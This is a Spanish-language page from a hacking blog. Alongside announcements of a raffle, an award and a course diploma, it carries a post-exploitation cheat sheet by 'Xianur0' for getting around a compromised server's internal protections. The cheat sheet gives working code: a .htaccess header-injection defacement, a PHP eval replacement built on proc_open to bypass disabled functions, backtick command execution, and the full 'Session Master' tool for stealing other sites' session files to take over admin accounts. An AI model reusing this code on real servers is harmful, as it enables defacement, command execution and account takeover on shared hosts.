Entradas VIP a Campus Party

Estaremos rifando unas entradas VIP a Campus Party en la ciudad de Mexico, para entrar a la dinamica tienes que colocar este banner en tu pagina o blog con el link a nuestra pagina, y enviarnos un email a info@hackingmexico.mx con la direccion de tu pagina y tu nombre para que se haga la seleccion el Dia 15 de Julio

Este es el banner oficial

hackingmx
 

Foro Estatal de Delitos Informaticos

Se celebro durante los dias 8 y 9 de Marzo El Foro Estatal de Delitos Informaticos, donde parte del programa incluia la presentacion de la Revista Hacking Mexico ante el Tribunal Superior de Justicia. Asi como conferencias y capacitaciones para la Policia Municipal de Morelos.

Durante el evento se me fue entregado un Premio Honorifico Estatal Honoris Causa frente al Magistrado y representantes de la Universidad de Aztlan. Es un orgullo obtener esta condecoracion, aqui pueden ver las fotos del evento y el video donde se hace la presentacion de la revista[gallery ids="1785,1786,1787,1788,1789,1790,1791,1792,1793,1794,1795,1796,1797,1798,1799,1800,1801,1802,1803,1804,1805,1806,1807,1808,1809,1810,1811,1812,1813,1814"]

 

Evadiendo mecanismos de seguridad internos de un servidor

Este post es más que nada un pequeño “Cheat Sheet” muy simple y básico sobre multiples formas de evadir la seguridad interna de un servidor, al decir interna nos referimos a ya estando dentro del servidor, vamos a ver algunos casos:

 

Caso 1: Se puede crear archivos, pero no editar el index:

Esto se puede saltar utilizando un pequeño bug que se encuentra en mod_headers desde hace años y que hasta la fecha está sin corregir:

 

Se crea o edita un .htaccess y se coloca el siguiente contenido:

 
Header set Last-Modified "Xianur0 Was Here\nContent-Length: 25"

Header set xianur0 "Xianur0 Was Here\nContent-Length: 25\n\n<h1>Xianur0 Was Here</h1>"

 

¿Cómo funciona este bug?

 

Mod_headers permite crear encabezados HTTP (respuesta), pero se supone que no deja modificar el Content-Length ni mandar contenido, el detalle es que permite insertar saltos de linea, lo cual nos permite crear encabezados especiales e incluso mandar el contenido, la respuesta sería algo como:

 
Zer0-null:/home/xianur0/kernel-2.6.29-M860 # nc -vvv localhost 80

Connection to localhost 80 port [tcp/http] succeeded!

GET / HTTP/1.1

Host: localhost

 

HTTP/1.1 200 OK

Date: Fri, 22 Feb 2013 12:09:52 GMT

Server: Apache/2.2.21 (Linux/SUSE)

Last-Modified: Xianur0 Was Here

Content-Length: 25

ETag: "100809-2c-3e9564c23b600"

Accept-Ranges: bytes

Content-Length: 44

xianur0: Xianur0 Was Here

Content-Length: 25

 

<h1>Xianur0 Was Here</h1>

Content-Type: text/html

 

<html><body><h1>It works!</h1></body></html>

 

Al establecer que el largo es de solo 25, el navegador solo leerá los primeros 25 bytes, los cuales son... nuestra página falsa, ignorando el resto del contenido, puede variar si el navegador lee el primer encabezado de Content-Length (en lugar del segundo), entonces leerá los primeros 44 bytes, esto se soluciona... mandando en total 44 bytes (los primeros 25 válidos y el resto relleno, por ejemplo saltos de linea) de modo que aunque lea 25 o 44 se mostrará solo lo que nos interesa.

Caso 2: Shell encriptada no funciona (suhosin patch) eval desactivado.

 

Por seguridad muchos servidores desactivan la función eval, normalmente desde el módulo suhosin o mediante la directiva disable_functions, se puede reemplazar la función eval por eval2:

 
function eval2($php) {

       // eval2 By Xianur0

       $cabecera = "<?php\n";

       foreach($_GET as $key => $valor) $cabecera .= '$_GET['.$key.'] = "'.$valor.'";';

       foreach($_POST as $key => $valor) $cabecera .= '$_POST['.$key.'] = "'.$valor.'";';

       foreach($_SERVER as $key => $valor) $cabecera .= '$_SERVER['.$key.'] = "'.$valor.'";';

       foreach($HTTP_POST_FILES as $key => $valor) $cabecera .= '$HTTP_POST_FILES['.$key.'] = "'.$valor.'";';

       $consulta = $cabecera.$php." ?>";

       $descriptorspec = array(

       0 => array("pipe", "r"),

       1 => array("pipe", "w"),

       2 => array("file", "/tmp/error-output.txt", "a")

       );

       $cwd = getcwd();

       $process = proc_open('php', $descriptorspec, $pipes, $cwd);

       if (is_resource($process)) {

             fwrite($pipes[0], $consulta);

             fclose($pipes[0]);

             echo stream_get_contents($pipes[1]);

             fclose($pipes[1]);

       }

}

 

Esta función tiene básicamente el mismo funcionamiento que eval... pero no está filtrada, desde luego requiere que esté activada proc_open, pero esta se puede reemplazar por otra función similar como popen, desde luego el código podría variar.

 

Caso 3: No está activada la función system() ni similares.

 

Para estos casos se puede aplicar un poco de magia negra y utilizar las comillas invertidas hacia la derecha: “`”

 

Tan pequeñas pero poderosas:
 

<?php

print `ls`;

?>

 

Estas comillas nos permiten ejecutar comandos en la mayoría de los lenguajes de script (incluido perl y bash).

Caso 4: Sesiones PHP inseguras.

 

Traeré un viejo amigo del cementerio del pasado el “Session Master” :D
 

<html><title>Session Master By Xianur0</title><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center>

<h1>Session Master By Xianur0</h1><br><img alt height="100" src="http://img59.imageshack.us/img59/9729/xianur0oq5.gif" width="100"><br><br><script type="text/Javascript">function expandcollapse (postid) { whichpost = document.getElementById(postid);if (whichpost.className=="postshown") { whichpost.className="posthidden"; } else { whichpost.className="postshown"; } }</script><style>.posthidden {display:none} .postshown {display:inline}</style>

 

 

<?php

@session_start();

function buscar() {

$tmp = @session_save_path();

print "<b>Directory of sessions: $tmp\n</b><br>";

$dir = @opendir($tmp);

            while ($session = @readdir($dir))

            {

                        if(preg_match("/^sess_/",$session)) {

                                   $gestor = @fopen("$tmp/$session", "r");

                                   $contenido = @fread($gestor, filesize("$tmp/$session"));

                                   $contenido = @str_replace(';', ";\n<br><br>Session: ", $contenido);

                                   fclose($gestor);

                                   echo "<br>".$session."<br>\n";

                                   if(!empty($contenido)){

                                               $i++;

                                               echo '<a href="javascript:expandcollapse('.$i.')">Show/Hide Code</a><br><span id="'.$i.'">

                                               <br/><table height=1 cellSpacing=0 cellPadding=5 width="100%" bgColor=#FF0000 borderColor=#FF0000 border=1><tr><th>Session: '.$contenido.'</th></tr></table></span><br>';

                                   }

                        }

            }

}

function definir() {

            $name = $_POST['name'];

            $contenido = $_POST['valor'];

            $_SESSION[$name] = $contenido;

}

 

function definidos() {

            foreach ($_SESSION as $name => $valor)

            {

                        print "<b>Name:</b> $name\n<br><b>Value:</b> $valor\n<br><br>";

            }

}

 

function menu() {

            $uri = $_SERVER['REQUEST_URI'];

            print "<h2>Define SESSION</h2><br><form action='".$uri."?&action=definir' method='POST'>Name: <input type='text' name='name'><br>Value: <input type='text' name='valor'><br><input type='submit' value='Set!'></form><h2>Information:</h2><b><a href='$uri?&action=definidos'>Defined Sessions</a><br><a href='$uri?&action=buscar'>Sessions On The Server</a><b>";

}

if(isset($_GET['action']))

            $action = $_GET['action'];

else $action="default";

 

 

switch ($action) {

    case "buscar":

        buscar();

        break;

    case "definir":

        definir();

        break;

    case "definidos":

        definidos();

        break;

    default:

        menu();

        break;

}

 

?>

Su utilidad es simple: Busca archivos “session” guardados en el directorio de los temporales, muchos servidores “compartidos” bueno... comparten el mismo directorio o en algunos casos no se borran estas y siguen siendo válidas para el servidor, de modo que podemos usarla en nuestro navegador y por ejemplo, entrar como administrador del sitio (sin tener la password, sin necesidad de cambiarla y sin necesidad de crackear hashes), esto incluye a cualquier sitio del servidor, no solo en el que estamos ejecutando el session master, también podemos ver el contenido de estas sesiones, en muchos casos se guarda la password en plano u otros valores interesantes, es por demás aclarar que no funciona en todos los sistemas que usan esto, por ejemplo, muchos guardan en base de datos, otros tienen el directorio de las sesiones sin lectura para los usuarios, etc.

Por el momento este post queda hasta aquí, espero que haya sido de su agrado y seguimos en contacto.

By Xianur0!
 

Primera generacion del Diplomado en Intrusiones Ciberneticas

Felicidades a la primera generacion que hoy completa las 25 horas del primer modulo de la certificacion COISP. Sabemos que mucha gente quedo fuera, pero ya estamos abriendo grupos dominicales para que puedan asistir.

Nos vemos en el modulo 2!

la foto (5)
M4ku4z y Megabyte con los alumnos de la primera generacion

 

la foto (6)Diploma con valor curricular,  entregado a los participantes, con firmas originales, sellos oficiales del Sistema Educativo Nacional ,el Instituto Politecnico Nacional, y holograma de autenticidad. Respaldado por







Colegio de Contadores Públicos de Cuautla, A.C.SEP/DGP/CP001/10/030.








Colegio de Contadores Públicos de Morelos, A.C.SEP/DGP/CP001/10/031. 

 

 








Asociación Mexicana de Contadores Públicos. Colegio Profesional en el Distrito Federal, A.CSEP/DGP/CP002/06

 

 

entre otras que cuentan con reconocimiento de Idoneidad Vigente para otorgar Diplomados y Certificaciones

http://www.sep.gob.mx/es/sep1/sep1_Reconocimiento_de_Idoneidad#.UTJFGzByGSo